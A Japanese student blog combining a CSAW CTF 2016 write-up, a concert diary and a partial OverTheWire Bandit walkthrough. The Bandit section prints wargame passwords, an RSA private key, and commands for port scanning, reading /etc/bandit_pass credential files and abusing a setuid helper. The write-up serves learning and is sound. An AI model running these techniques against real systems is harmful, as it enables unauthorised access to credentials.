9月17日(土)早朝〜9月19日(月)早朝にはCSAW CTF 2016 の予選に参加した。最近諸事情でフォレンジックを勉強しなければならなくて、それが今回活きて何問か解けた。

解いた問題↓
ywkw1717.hatenablog.com


今回のCTFは自分なりに成長が見られたんじゃないかなと思う。

まだまだなので今後も頑張りたい。


CTFは楽しい


BABYMETAL ライブ

君の名は。」と並んで、とても最高だった話。

9月20日(火)に友達と3人で東京ドームへ、BABYMETALのライブを見に行ってきた。

6月下旬に応募して、7月1日に当選発表があって当選してからというもの、チケットの支払いやバスの予約など、しっかりと準備して楽しみにしていた。

9月20日(火)の午前11時半のバスで東京へ向かう(雨が降っていて、傘がなかったため駅まで走った)


会場へ向かう途中
f:id:ywkw1717:20160924074714j:plain

物販待機列(どうやら台風が来ていたらしく、雨が降っていて大変だった)
f:id:ywkw1717:20160924074748j:plain

物販
f:id:ywkw1717:20160924074812j:plain

物販でTシャツをゲット。

会場前
f:id:ywkw1717:20160924074905j:plain


会場の中は撮影禁止だったので画像は無し。



ライブ後↓



優勝した



BABYMETALの3人、可愛さとかっこよさを兼ね備えていて強い。

パフォーマンスも派手なものが多く、まだ19歳と17歳の女の子達とは思えない。

後ろで白装束を着て演奏している神バンド(本当にこういう名前)は神の演奏。これもまたかっこ良すぎる。

自分は今回、ライブ自体が人生初だった。

そもそも、音楽とか聴いていてもそれで満足してしまって、現地にいってわざわざ聴かなくても家で聴けるやんとか思ってた。

でもそれは大きな間違いで、会場で同じアーティストを好きなファンと一緒に歌を聴いて盛り上がることで、現地でしか味わえない一体感があった。

家でイヤホンをして耳だけで聴いているより、会場で全身で聴く音楽ってこんなに違うものかと、感動した。


その後、23時バスタ新宿発の夜行バスで帰ってきた(生活習慣の関係上、バスの中ではほとんど眠れなかった)

合いの手とか覚えないで参戦したことが心残りなので、次は万全な状態で望みたい。

まとめ

最高の夏休みだった。

10月から結構予定が入っていて、忙しくなりそう。



来期もフル単!!!!!!!!!

CSAW CTF 2016 Writeup

9/17早朝から9/19早朝までの2日間開催されたCSAW CTF 2016に「wabisabi」で参加しました。結果はチームで8問解いて576pt、1274チーム中252位。にこにー(矢澤にこ)が好きな自分にとってはラッキーな数字でした。自分は4問解いて300pt入れました。今回はその4問について簡単にwriteupを残したいと思います。

Writeup

Forensics 100: Clams Don't Dance

最近、諸事情でforensicsを勉強することになり、今回は何問か解きたいなと思っていたため最初にこれに取り掛かりました。

問題は、まず out.img というファイルを渡されます。

お決まりのfileコマンド

f:id:ywkw1717:20160919173755p:plain

boot sector らしい。

そういえばksnctfでも同じような問題あったなと、とりあえずFTK Imagerで開いてみる。

f:id:ywkw1717:20160919174322p:plain

削除されたものである、clam.pptxというファイルが見つかる。

その他にも怪しげなdance.mp4というファイルがあったが、問題名のClams Don't Danceからこれは違うと予想してスルー。

clam.pptxを取り出して、自分はubuntuなのでLibreOfficeで開こうとするも開けない。(修復を試みますか?とか聞かれるけど無理だった)

どうしようかと思ったが、とりあえずbinwalkに投げてみればいくつか取り出せるんじゃないかと思い、投げてみる。

すると大量のファイルを取り出すことができ、怪しそうなものはないか見ていく。

ppt/mediaにimage0.gifというファイル名で、なにやらQRコードらしきものが見つかる。

f:id:ywkw1717:20160919175220p:plain

なにこれ・・・となったが、困った時のGoogle先生

画像検索してみるとどうやら「MaxiCode」というものらしい。

これを読み取るフリーのツールを探すもなかなか見つからなかったが、最終的に「ByteScout BarCode Reader」というソフトに辿り着く。

f:id:ywkw1717:20160919180359p:plain

読み取ってみたところ綺麗にflagが出てきた。


flag{TH1NK ABOUT 1T B1LL. 1F U D13D, WOULD ANY1 CARE??}

Reversing 50: Gametime

チームでは一応binary担当ということになっている(辛い)ので何問かは解こうと思い、最初に一番簡単なやつをやってみる。

gametime.exeというファイルを渡され、問題文にはflagの形式は↑のようなものじゃないよと書かれていた。

最近Ollydbgを使っていたのでidaではなくOllydbgを使ってみる。

実行してみると、「sが見えたらspace bar押してね」や「xが見えたらxを押す」、「mが見えたらmを押す」というゲーム。(説明が下手)

とりあえず、分岐命令辺りでブレークポイントを設定してみてゲームが終わらないように上手く回避していく。

すると、TURBO TIME!とか始まって、flagがゲットできた。


f:id:ywkw1717:20160919182427p:plain


no5c30416d6cf52638460377995c6a8cf5

Reversing 125: Key

key.exeというファイルが渡されるので、またOllydbgで実行してみる。

What happen?(だったかな?)、まぁそんな英文が表示されて終了するだけのプログラム。

また、分岐命令辺りにブレークポイント設定しながら進めていくが最終的に

=W=r=o=n=g=K=e=y=

とか表示されて、終わってしまう。

ここで、スタック上に積まれた文字列に注目してみた。

まさかな?と思い、とりあえずsubmit(これ大事)してみると通った。

f:id:ywkw1717:20160919183119p:plain

f:id:ywkw1717:20160919183133p:plain



idg_cni~bjbfi|gsxb

(この問題に関してはwriteupになっていない気がするが、許してほしい)

Misc 25: Coinslot

Recon 200 の Fuzyllという問題が途中で詰まってしまい、なにか他の解いたほうが良さそうと思って始めた問題。

nc misc.chal.csaw.io 8000

につないでみると、紙幣などの枚数を求める的な問題。途中でミスるとアウト。

f:id:ywkw1717:20160919192108p:plain

手動で10回ぐらいまでやってみたが、もっともっと回数が必要そう。

今まで、スクリプトを書けば簡単に終わりそうな問題も「面倒くさい」という理由から逃げてきたため、いつもの自分だったら解かなかったと思う。

だけど、今回は何かしら成長したいと思ったのかどうか知らないが、早朝4時過ぎからコードを書き始めた。

結果、くそコードを生み出してしまった。反省はして(ry

以下のスクリプトを回した結果、20分くらい?(400回目)で解けた。

(一応999回で書いたが、途中で1000回までいかないよな・・・?とか思って、少し不安だった)

#!/usr/bin/env python
import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('misc.chal.csaw.io', 8000))

for i in range(1, 1000):
    data = s.recv(256)
    print data

    all_data  = data.split('\n')
    num_s     = all_data[0].replace('$', '')
    num       = num_s.split('.')
    big_num_s = num[0]
    sml_num_s = num[1]

    big_num   = int(big_num_s)

    if big_num / 10000 > 0:
        s.sendall(str(big_num/10000) + '\n')
        big_num = big_num % 10000
    else:
        s.sendall('0\n')

    data = s.recv(256)
    print data

    if big_num / 5000 > 0:
        s.sendall(str(big_num/5000) + '\n')
        big_num = big_num % 5000
    else:
        s.sendall('0\n')

    data = s.recv(256)
    print data

    if big_num / 1000 > 0:
        s.sendall(str(big_num/1000) + '\n')
        big_num = big_num % 1000
    else:
        s.sendall('0\n')

    data = s.recv(256)
    print data

    if big_num / 500 > 0:
        s.sendall(str(big_num/500) + '\n')
        big_num = big_num % 500
    else:
        s.sendall('0\n')

    data = s.recv(256)
    print data

    if big_num / 100 > 0:
        s.sendall(str(big_num/100) + '\n')
        big_num = big_num % 100
    else:
        s.sendall('0\n')

    data = s.recv(256)
    print data

    if big_num / 50 > 0:
        s.sendall(str(big_num/50) + '\n')
        big_num = big_num % 50
    else:
        s.sendall('0\n')

    data = s.recv(256)
    print data

    if big_num / 20 > 0:
        s.sendall(str(big_num/20) + '\n')
        big_num = big_num % 20
    else:
        s.sendall('0\n')

    data = s.recv(256)
    print data

    if big_num / 10 > 0:
        s.sendall(str(big_num/10) + '\n')
        big_num = big_num % 10
    else:
        s.sendall('0\n')

    data = s.recv(256)
    print data

    if big_num / 5 > 0:
        s.sendall(str(big_num/5) + '\n')
        big_num = big_num % 5
    else:
        s.sendall('0\n')

    data = s.recv(256)
    print data

    if big_num / 1 > 0:
        s.sendall(str(big_num/1) + '\n')
        big_num = big_num % 1
    else:
        s.sendall('0\n')

    data = s.recv(256)
    print data
    check = sml_num_s[:1]

    if check == '0':
        sml_num = int(sml_num_s[1:])
        for i in range(0, 3):
            s.sendall('0\n')
            s.recv(256)
            print data

        if sml_num / 5 > 0:
            s.sendall(str(sml_num/5) + '\n')
            sml_num = sml_num % 5
        else:
            s.sendall('0\n')

        data = s.recv(256)
        print data

        if sml_num / 1 > 0:
            s.sendall(str(sml_num/1) + '\n')
            sml_num = sml_num % 1
        else:
            s.sendall('0\n')
    else:
        sml_num = int(sml_num_s)
        if sml_num / 50 > 0:
            s.sendall(str(sml_num/50) + '\n')
            sml_num = sml_num % 50
        else:
            s.sendall('0\n')

        data = s.recv(256)
        print data

        if sml_num / 25 > 0:
            s.sendall(str(sml_num/25) + '\n')
            sml_num = sml_num % 25
        else:
            s.sendall('0\n')

        data = s.recv(256)
        print data

        if sml_num / 10 > 0:
            s.sendall(str(sml_num/10) + '\n')
            sml_num = sml_num % 10
        else:
            s.sendall('0\n')

        data = s.recv(256)
        print data

        if sml_num / 5 > 0:
            s.sendall(str(sml_num/5) + '\n')
            sml_num = sml_num % 5
        else:
            s.sendall('0\n')

        data = s.recv(256)
        print data

        if sml_num / 1 > 0:
            s.sendall(str(sml_num/1) + '\n')
            sml_num = sml_num % 1
        else:
            s.sendall('0\n')

    print "Now,",i, " wait...\n"

    data = s.recv(9)
    print data

f:id:ywkw1717:20160919192045p:plain

flag{started-from-the-bottom-now-my-whole-team-fucking-here}

まとめ

Misc 25のCoinslotを解いたのが9/19の早朝5時半頃。

このあと、なぜかあと1日あると思い込んでいて、明日頑張ろうと思い寝てしまった。

起きたら11時半でCTF終わってるし、9時からバイトあったのに思いっきり遅刻したし、散々だった。。。

でも、今回のCTFは割と楽しかった。



pwnが弱すぎるので勉強します・・・

おまけ

Recon 200: Fuzyll

解けなかったが、解けたところまでメモ。

問題文で与えられた、http://fuzyll.com/files/csaw2016/startにアクセスしてみる。

すると、次のような文章。

CSAW 2016 FUZYLL RECON PART 1 OF ?: People actually liked last year's challenge, so CSAW made me do it again... Same format as last year, new stuff you need to look up. The next part is at /csaw2016/the form of colorblindness I have.

色盲の種類について調べてみて、いくつか試したところ、「deuteranomaly」で正解。

http://fuzyll.com/files/csaw2016/deuteranomaly

にアクセスしてみたら、赤ではないいちごの画像が表示された。保存しようとしたところなぜか拡張子がtxt。

とりあえず保存して、先頭4バイト辺りのバイナリを見てみるもやっぱりpngなので拡張子をpngに変えて、開く。

プロパティとか見てみると、

f:id:ywkw1717:20160919194303p:plain

こんな感じで次のhintが見つかる。

とりあえず、Fuzyllさんについて調べる。

どうやら過去のCSAW CTFでも出されている問題らしく、彼のプロフィールも簡単に見つけることができた。

https://ctf.csaw.io/static/archives/2013/judges/index.html

そこにはCTFにどのチームで出場していたか、などが記されていた。さらに、DEF CON finalに出場したチームなどを
CTFtime.org / All about CTF (Capture The Flag)
あたりで調べて絞っていった。

するとDEF CON 19(2011)にて、Fuzyllが所属していたHates Ironyが3位に入賞していた。(すごい)

よって、ctf timeに載っていたDEF CON 19の問題をかたっぱしから試していく。

すると、「tomato」で正解。

http://fuzyll.com/files/csaw2016/tomato

にアクセスしたところ、文字化けした文章が表示された。


テ簔襦@ニ蓚勒モ@ルナテヨユ@ラチル紂昧@oz@ノ@�扶」@��@悼着@」又▲妹「Z@チ物ヲ→k@巳」「延�@昧@テ翦「k@ノ}・�@e�@欄→鴛① �甥@#巳淵@昧@譁剴А昧@諱凖凵�@箕�@」�@浴「」@ィ�僉M腐・�@」�、㊧」@ノ}Аe@「→鴛①」�」@≧」�@テ▲<鐙「婆@う」@�刔@ヲ�@☆�]K@繹�@腐ァ」@浴劵@欧@▲@aΔ※aL畑@煤鴛@譁襦ヨ☆<」�}「@普賠nK

で持ってきて、nkfで調べると「CP932」というやつらしい。

いろいろ調べて、utf-8に直すために

iconv -f cp932 -t utf8 tomato > hoge

とかしてみるも無理。

ここで諦めた。


他の人のwriteupを読ませて頂きます・・・。



f:id:ywkw1717:20160919200545j:plain

OverTheWireの bandit0 から bandit26 までをやってみた

タイトルのとおり

昨日の21時、22時頃にふとやろうと思い立って完走するまでやっていた

(一応、期限を約1日と決めて)

自分のメモ代わりに writeup を残すので、これからやる人の参考にでもなれば

※いろいろ表示が汚い部分があります

※追記(2017/06/16):見てくれている人がいるみたいなので,見やすいように少し書き直しました.

Level 0

ホスト名 bandit.labs.overthewire.org にユーザ名:bandit0 パスワード:bandit0 で ssh して終わり

Level 1

bandit1@bandit.labs.overthewire.orgにsshするとreadmeがあるのでcatして終わり

boJ9jbbUNNfktd78OOpsqOltutMc3MY1

Level 2

sshすると、"-"というファイルがありそれにパスワードがあるらしい
"-"という名前だとオプションと認識されてしまいcatやlessできない
rm -- -testなどとすれば"-"のついたファイルを操作することができるらしいがcatやlessできなかった

よって、ディレクトリを一層上に移動して
そこからパスを指定してcatしたらいけた

$ cat ./bandit1/-

で終わり

CV1DtqXWVFXTvM2F0k09SHz0YwRINYA9

Level 3

sshすると、spaces in this filenameというファイルがあり、それにパスワードがあるらしい

空白をどう処理するかを問いているのだろうが、bashの補完機能を使えば一発なのでtabで補完してcatでおわり

UmHadQclWmgdLOKQ3YNgjWxGoRMb5luK

Level 4

sshすると、inhereというディレクトリがあるので、とりあえず移動

lsしてみるとなにもないので、どうせ隠しファイルだろうと-aオプションをつけてls

案の定「.hidden」というファイルがあったのでcatしておしまい

pIwrPrtPN36QITSp3EQaw936yaFoFgAB

Level 5

sshすると前回と同様、inhereディレクト

移動してlsしてみると、「-file00」から「-file09」までのファイルがある

"-"がついたファイルの処理はbandit2辺りで学んだので、file -- -file00としてみる
するとバイナリであったのでcatしても無駄
一応、--file09まで調べてみると、--file07だけがテキストファイルだったのでcatしておわり

koReBOKuIDDepwhWk7jZC0RTdopnAYKh

Level 6

ssh, inhereにcd するとmaybehere00〜maybehere19までのディレクトリがあり,恐らくfindして探すんだろうなと思ったが
findの指定がいまいちうまくいかず、結局量も少なかったため一からcdして怪しそうなファイルを探していく
ヒントにはサイズが1033とあったので、隠しファイルも表示するようにls -laで見ていく
すると、maybehere07にて .file2というファイルのサイズが1033であったのでcatしておしまい

DXjZPULLxYr17uwoI01bNLQbtFemEgo7

Level 7

sshするとなにもないので、問題文を見てみる
すると「このサーバーのどこかにあるよ、所有者はbandit7, group名はbandit6, ファイルサイズは33bytes」と丁寧にかかれていたので
ファイルサイズが33で, /からfindしてみると、/etc/bandit_pass/bandit7というファイルが目に入ったので、見ようとしてみるとpermission denied、引っかかった

もう一度findについて調べてみると、-user ユーザ名 で指定したユーザが保有しているファイル・ディレクトリを検索できるらしい find万歳!
ってことで/にて、

$ find ./ -user bandit7

としてみると、大量のPermission deniedが表示されて面倒だったので、2>/dev/nullで処理

$ find ./ -user bandit7 2>/dev/null

すると、先ほど見た/etc/bandit_pass/bandit7というファイルの他にもう一つ、./var/lib/dpkg/info/bandit7.passwordというファイルが見つかる

よって、ls -lしてみると、ファイルサイズは33bytes、所有者bandit7, group名はbandit6、とバッチリ一致したので、catしておしまい

HKBPTKQnIay4Fw76bEy8PVxKEDQRKTzs

以下のサイトが非常に参考になった。有難や・・・
findコマンドで覚えておきたい使い方12個(+1個) | 俺的備忘録 〜なんかいろいろ〜orebibou.com


Level 8

sshしてみると、data.txtというファイルがある
ファイルサイズも見ないでとりあえずcatしてみるとものすごい量の出力が十数秒止まらなかった
ようやく出力が終わり、ファイルサイズを見てみると4184396、つまり約4Mbyteのテキストファイルであった(安易なcatはダメだと学んだ)
問題文を見てみると、millionthの次のワードだよとあったので、grepして終わりやんけと思って、cat data.txt |grep millionth でおしまい

cvX2JJa4CFALtqS87jk27qwqGhBM9plV

問題文はしっかり読もうと思った

Level 9

sshするとまたもや,data.txt
今回はしっかりと最初に問題文に目を通してみると、一回しか出てこない一行がパスワードらしい
lessしてみると、確かに重複しているものばかり

uniqで重複を取り除くのだろうと考え、

$ cat data.txt |uniq -u

(オプションなしだと一つにまとめるだけ、uオプションはまとめるのではなく、削除する)

だが、uniqは”連続して重複している行”を1つにまとめるコマンド

よって、sortしてあげる必要があるので、uniqの前にsortを挟み、

$ cat data.txt |sort |uniq -u

でおしまい

UsvVyFSfZZWbi6wgC7dAFyFuR6jQQUhR

Level 10

sshすると、data.txt
lessしようとしたら、binary fileですけどいいですか?と聞かれてバイナリファイルだと判明
バイナリファイルであれば、表示可能文字を出力してくれるstringsコマンドがある
よってstringsして、banditのパスワードは毎回32文字であり、それらしき文字列がすぐ見つかるのでおしまい

truKLdjsbJ5g7yyJ2X2R0o3a5HQJFuLk

Level 11

sshすると、data.txt
ファイルサイズは明らかに小さかったので、cat
するとbase64らしきもので暗号化されている文字列が表示されたので、

$ echo "VGhlIHBhc3N3b3JkIGlzIElGdWt3S0dzRlc4TU9xM0lSRnFyeEUxaHhUTkViVVBSCg==" |base64 -d

としておしまい

'The password is IFukwKGsFW8MOq3IRFqrxE1hxTNEbUPR\n'

よって、IFukwKGsFW8MOq3IRFqrxE1hxTNEbUPR

Level 12

またもやdata.txt

catすると、なにやらrot13らしき文字列

pythoは入っているようなので、pythonを起動して、

a = "Gur cnffjbeq vf 5Gr8L4qetPEsPk8htqjhRK8XSP6x2RHh"
a.decode("rot13")
u'The password is 5Te8Y4drgCRfCx8ugdwuEX8KFC6k2EUu'

よって、5Te8Y4drgCRfCx8ugdwuEX8KFC6k2EUu

Level 13

展開地獄の問題であった

まずsshすると16進ダンプされたテキストファイル,data.txtがある
/tmpの下にディレクトリを作って、作業していいよと問題文にあるので、tmp下にディレクトリを作り、data.txtも持ってくる

xxdコマンドを使えば元のデータに戻すことが可能なので、

$ xxd -r data.txt > hoge

として変換する(-pオプションはポストスクリプト形式のみつけるため今回はつけない)

取り出したバイナリファイルを見てみると、マジックナンバーが 1f 8b なのでgzipだとわかった

$ mv hoge hoge.gz

としてから

$ gzip -d hoge.gz

で展開

そしてfileコマンドで確認してみると、bzip2で圧縮されたファイルらしい

よって、

$ bzip2 -d hoge

とすると、hoge.outというファイルが出てくる

fileコマンドで確認→ gzipであった

$ mv hoge.out hoge.gz

としてから

$ gzip -d hoge.gz

で展開

そして展開したhogeをfileコマンドで確認すると、flg: POSIX tar archive (GNU)
どうやらアーカイブらしい

xfオプションでアーカイブファイルを展開できるので、

$ tar -xf hoge

すると、data5.binというファイルがでてきた

例によってfileコマンドで確認すると

data5.bin: POSIX tar archive (GNU)

またしてもアーカイブファイルなので、

$ tar -xf data5.bin

すると、今度はdata6.binがでてきた

今度はbzip2らしい

よって、

$ mv data6.bin data6.bz2

からの

$ bzip2 -d data6.bz2

するとdata6が取り出せるのだが、これもアーカイブファイル

よって、

$ tar -xf data6

すると、今度はdata8.binが出てきてこれはgzip

よって、

$ mv data8.bin data8.gz
$ gzip -d data8.gz

こうしてでてきた data8 がようやくテキストファイルなので、catしておしまい

The password is 8ZjyCRiBWFYkneahHwxCv3wb2a1ORpYL

  • tarについて

http://webkaru.net/linux/tar-command/webkaru.net

  • bzip2について

Linuxコマンド集 - 【 bzip2 】 ファイルを圧縮・展開する(拡張子.bz2):ITpro

  • xxdについて

https://manned.org/xxd/c27ae9e6https://manned.org/xxd/c27ae9e6

Level 14

sshすると、sshkey.privateというRSA秘密鍵が与えられている
問題文には、次のレベルへのパスワードは/etc/bandit_pass/bandit14にあり、これはbandit14しか読めないとなっている
よって、private SSH keyがあるから、これ使ってbandit14としてsshして、/etc/bandit_pass/bandit14を読んでね という問題

鍵を指定してsshする方法は知らなかったのでググった

すると、https://support.rackspace.com/how-to/logging-in-with-an-ssh-private-key-on-linuxmac/ のサイトが非常に役に立った

これを元に、

$ ssh -i sshkey.private bandit14@localhost

としてssh

するとbandit14としてアクセスすることができ、あとはパスワードを読むだけ

4wcYUJFw0k0XLShlDzztnTBHiqxU3b3e

Level 15

sshすると、.sshがあり、その中にauthorized_keysがあり、sshの仕組みがまだよく理解できていない自分は試行錯誤していた

だが、authorized_keysというのは公開鍵を置いておく場所であり、前問でsshしたときにこの公開鍵があるためアクセスできたということだった(ほんと自分がアホだと・・)

問題文には、次のパスワードは現在のレベルのパスワードをlocalhostのport30000番に提出すればいいとあったが、「どうやって提出すんの・・・?」と少し考えた結果、「echoでええやん」という結論に至り、

$ echo "4wcYUJFw0k0XLShlDzztnTBHiqxU3b3e" |nc localhost 30000

としたところ

Correct!
BfMYroe26WYalil77FoDi9qh59eK5xNr

と、レスポンスが返ってきた

よって、BfMYroe26WYalil77FoDi9qh59eK5xNr

Level 16

まず、最初に騙されてかなり時間を持ってかれた・・・

bandit15のパスワードはBfMYroe26WYalil77FoDi9qh59eK5xNrじゃないか!!

sshした先にあった .bandit14.passwordを使っており、全くできなかった・・・
(これ以前の問題で必要だから置いてあったのだろうが、すっかり騙されてしまった・・)

今回は前回と似ていて、現在のレベルのパスワードをlocalhostのport30001番に渡せば良いのだが、SSL encryption、つまりSSL暗号化で渡さなければならない

自分は最初、.bandit14.passwordファイル自体をssl暗号化して渡すのだろうかと

$ openssl aes-256-cbc -d -in .bandit14.password -pass file:.bandit14.password

とか無駄なことをやってしまっていた

途中でs_clientの存在に気づき、

$ echo "4wcYUJFw0k0XLShlDzztnTBHiqxU3b3e" |openssl s_client -connect localhost:30001
↑ bandit14のパスワード

とやっていて、証明書情報とその下にDONEとレスポンスが返ってくるだけで、なんだこれは、と思っていた

そこで、確か/etc/bandit_pass/とかで自分のパスワードが見れるはずだったので、bandit15のパスワードを表示してみた

BfMYroe26WYalil77FoDi9qh59eK5xNr

違うやんけ

ってことで、

$ echo "BfMYroe26WYalil77FoDi9qh59eK5xNr" |openssl s_client -connect localhost:30001

として、これでいけるだろと思ったが、HEARTBEATINGというレスポンスが増えただけで、パスワードは貰えない

もう一度問題文を読んでみると、どうやらHEARTBEATINGとなる時は、-ign_eofというオプションを使えとある

よって、

$ echo "BfMYroe26WYalil77FoDi9qh59eK5xNr" |openssl s_client -ign_eof -connect localhost:30001

としてみたところ、

Correct!
cluFn7wTiGryunymYOu4RcffSxQluehd

read:errno=0

というレスポンスをいただくことができ万々歳だった

どうやら、s_clientの -ign_eof オプションというのは、EOF(end of file)がinputに達した時に接続を切断するのを禁止するらしい
ignore eof、ファイルの終わりを無視するという意味だった

https://www.openssl.org/docs/manmaster/apps/s_client.html

Level 17

まず、問題文には次のレベルへの証明書は現在のレベルのパスワードをlocalhostのポート番号31000から32000のどれかにSSLで提出すると、ゲットできるが、それは一つだけとあるので、ポートスキャンする

$ nmap -p 31000-32000 localhost

で31000番から32000までをポートスキャンした結果、

$ bandit16@melinda:~$ nmap -p 31000-32000 localhost
Starting Nmap 6.40 ( http://nmap.org ) at 2016-06-25 19:52 UTC
Nmap scan report for localhost (127.0.0.1)
Host is up (0.00049s latency).
Not shown: 996 closed ports
PORT      STATE SERVICE
31046/tcp open  unknown
31518/tcp open  unknown
31691/tcp open  unknown
31790/tcp open  unknown
31960/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 0.08 seconds

となっていくつか開いているポートが見つかったので

$ echo "cluFn7wTiGryunymYOu4RcffSxQluehd" |openssl s_client -ign_eof -connect localhost:ポート番号

で5つすべてに送ってみる

すると、31790のみ、レスポンスとして

Correct!
-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEAvmOkuifmMg6HL2YPIOjon6iWfbp7c3jx34YkYWqUH57SUdyJ
imZzeyGC0gtZPGujUSxiJSWI/oTqexh+cAMTSMlOJf7+BrJObArnxd9Y7YT2bRPQ
Ja6Lzb558YW3FZl87ORiO+rW4LCDCNd2lUvLE/GL2GWyuKN0K5iCd5TbtJzEkQTu
DSt2mcNn4rhAL+JFr56o4T6z8WWAW18BR6yGrMq7Q/kALHYW3OekePQAzL0VUYbW
JGTi65CxbCnzc/w4+mqQyvmzpWtMAzJTzAzQxNbkR2MBGySxDLrjg0LWN6sK7wNX
x0YVztz/zbIkPjfkU1jHS+9EbVNj+D1XFOJuaQIDAQABAoIBABagpxpM1aoLWfvD
KHcj10nqcoBc4oE11aFYQwik7xfW+24pRNuDE6SFthOar69jp5RlLwD1NhPx3iBl
J9nOM8OJ0VToum43UOS8YxF8WwhXriYGnc1sskbwpXOUDc9uX4+UESzH22P29ovd
d8WErY0gPxun8pbJLmxkAtWNhpMvfe0050vk9TL5wqbu9AlbssgTcCXkMQnPw9nC
YNN6DDP2lbcBrvgT9YCNL6C+ZKufD52yOQ9qOkwFTEQpjtF4uNtJom+asvlpmS8A
vLY9r60wYSvmZhNqBUrj7lyCtXMIu1kkd4w7F77k+DjHoAXyxcUp1DGL51sOmama
+TOWWgECgYEA8JtPxP0GRJ+IQkX262jM3dEIkza8ky5moIwUqYdsx0NxHgRRhORT
8c8hAuRBb2G82so8vUHk/fur85OEfc9TncnCY2crpoqsghifKLxrLgtT+qDpfZnx
SatLdt8GfQ85yA7hnWWJ2MxF3NaeSDm75Lsm+tBbAiyc9P2jGRNtMSkCgYEAypHd
HCctNi/FwjulhttFx/rHYKhLidZDFYeiE/v45bN4yFm8x7R/b0iE7KaszX+Exdvt
SghaTdcG0Knyw1bpJVyusavPzpaJMjdJ6tcFhVAbAjm7enCIvGCSx+X3l5SiWg0A
R57hJglezIiVjv3aGwHwvlZvtszK6zV6oXFAu0ECgYAbjo46T4hyP5tJi93V5HDi
Ttiek7xRVxUl+iU7rWkGAXFpMLFteQEsRr7PJ/lemmEY5eTDAFMLy9FL2m9oQWCg
R8VdwSk8r9FGLS+9aKcV5PI/WEKlwgXinB3OhYimtiG2Cg5JCqIZFHxD6MjEGOiu
L8ktHMPvodBwNsSBULpG0QKBgBAplTfC1HOnWiMGOU3KPwYWt0O6CdTkmJOmL8Ni
blh9elyZ9FsGxsgtRBXRsqXuz7wtsQAgLHxbdLq/ZJQ7YfzOKU4ZxEnabvXnvWkU
YOdjHdSOoKvDQNWu6ucyLRAWFuISeXw9a/9p7ftpxm0TSgyvmfLF2MIAEwyzRqaM
77pBAoGAMmjmIJdjp+Ez8duyn3ieo36yrttF5NSsJLAbxFpdlc1gvtGCWW+9Cq0b
dxviW8+TFVEBl1O4f7HVm6EpTscdDxU+bCXWkfjuRb7Dy9GOtt9JPsX8MBTakzh3
vBgsyi/sN3RqRBcGU40fOoZyfAMT8s1m/uYv52O6IgeuZ/ujbjY=
-----END RSA PRIVATE KEY-----

と、bandit17のprivate keyがゲットできたので、あとはこれを元にsshするだけ

だったのだが、リモート先の/tmp/に作成したディレクトリでやろうとしたが、作成できないため、どうやらこうではなく、ローカルで鍵を作成してsshするようだった

よって、sshkey.privateに上の鍵をコピペして

$ ssh -i sshkey.private bandit17@bandit.labs.overthewire.org

として、アクセスしようとしたのだが、sshkey.privateのPermissionで怒られてしまった

しっかりと、600に設定して

もう一度sshするとうまくいった

bandit17のパスワードは/etc/bandit_pass/で確認した

xLYVMN9WE5zQ5vHacb0sZEVqbrp7nBTn

  • nmapについて

Level 18

password.newとpassword.oldのdiffを取ったものがbandit18のパスワード(kfBf3eYk5BPBRzwjqutbbfE887SVc5Yd)なのだが、これでsshしようとしてもByebye!と表示されてすぐ切断されてしまう

→ Level 19へ

Level 19

この問題で詰まって結局寝てしまった

起きてからもう一度問題文を読みなおしてみる

"bandit18にログインしようとするときByebye!と表示されるなら、それは次のレベルbandit19と関係しているよ"

ということで、bandit19の問題文を見てみる

"次のレベルのパスワードはホームディレクトリのreadmeファイルにあるよ、でも誰かが、.bashrcを修正してsshでログインするときにログアウトするようにしてしまった"らしい

なんて野郎だ、と思ったがsshするときにreadmeを読み出せればいいんじゃねと思いsshコマンドについてもう一度調べてみる

すると、

$ ssh hogehost ls -al

とかでコマンド実行できるらしい

https://hydrocul.github.io/wiki/commands/ssh.html

やった、ということで

$ ssh bandit18@bandit.labs.overthewire.org ls -al

としてみると readmeファイルが見つかったので

$ ssh bandit18@bandit.labs.overthewire.org cat readme

でおしまい

IueksS7Ubh8G3DCwVzrTd8rAVOwq3M5x

最初は眠気からか、"bandit18にログインしようとするとき"という英文をbandit18のログ、つまりsshのログを見るのか・・?とか思って
ローカルの/etc/ssh/ssh_configのLOGLEVELを設定したりと、変なことをやってしまっていた

できない時は寝るのが一番

Level 20

sshすると、bandit20-doというファイルがある

ls -lしてみると、どうやらsetuidが立っている

fileコマンドで調べると実行ファイルなので、実行してみると

bandit19@melinda:~$ ./bandit20-do
Run a command as another user.
  Example: ./bandit20-do id

こんな風に言われたので、./bandit20-do id と打ってみる

uid=11019(bandit19) gid=11019(bandit19) euid=11020(bandit20) groups=11020(bandit20),11019(bandit19)

すると、uidやらeuidが手に入る

結局これで何すんの・・?と思ったのだが、bandit20-doというファイル名から、引数に任意のコマンド渡してやればいけんじゃねと思いやってみる

bandit19@melinda:~$ ./bandit20-do cat /etc/bandit_pass/bandit20
GbKksEFF4yrVs6il55v6gwY5aVje5f0j

いけた

Level 21

恐らく今までで一番詰まった、3時間ぐらいやってようやくって感じだった

まず、sshした先にまたsetuidが立っているプログラムがあり、これを使ってなんかするらしい

問題文を読んでみると、このプログラムは引数に渡したポート番号のlocalhostへの接続を作ってくれるらしい
さらにその時、接続先からテキストのラインを読み、bandit20のパスワードと比べて合っていたら、次のレベルのパスワードを送ってくれるらしい

もうこの時点でよくわかっていなく、とりあえず実行したり、ncにパイプしたりといろいろやっていた

できないので、問題文にNOTEとNOTE2というヒントらしきものがあるので読んでみると、

NOTE: あなたは二度ログインする必要がある、一度はsetuid commandを走らせ、もう一度はsetuidが繋がるnetwork daemonをstartさせる

とあったがさっぱりわからない

NOTE2: まあとにかく自分自身のnetwork daemonに繋げてみろ

は、という感じでさっぱり分からない

使うコマンドはssh, nc ,catのどれかなので、恐らくncしかないだろうと、ncについてもう一度調べてみる

すると、http://www.ksknet.net/linux/nc_netcat.html のサイトに

「nc は -l オプションをつけることでリッスンモードとして起動でき、デーモンサービスとしても使用できる」

とあったので、これだ!とリッスンモードを使うのだろうと考える

二度ログインというのがいまいちわからず、ログアウトしてもう一度そこに繋ぐ・・・?とか散々考えた結果、いやいや二つの状態を作り出すんじゃね?という結論に至り

nc をリッスンモードで起動させてるshellと、もう一度sshしてリッスンモードで起動してるshellになにか送るshellを用意するのだろうと、2つのshellを用意した

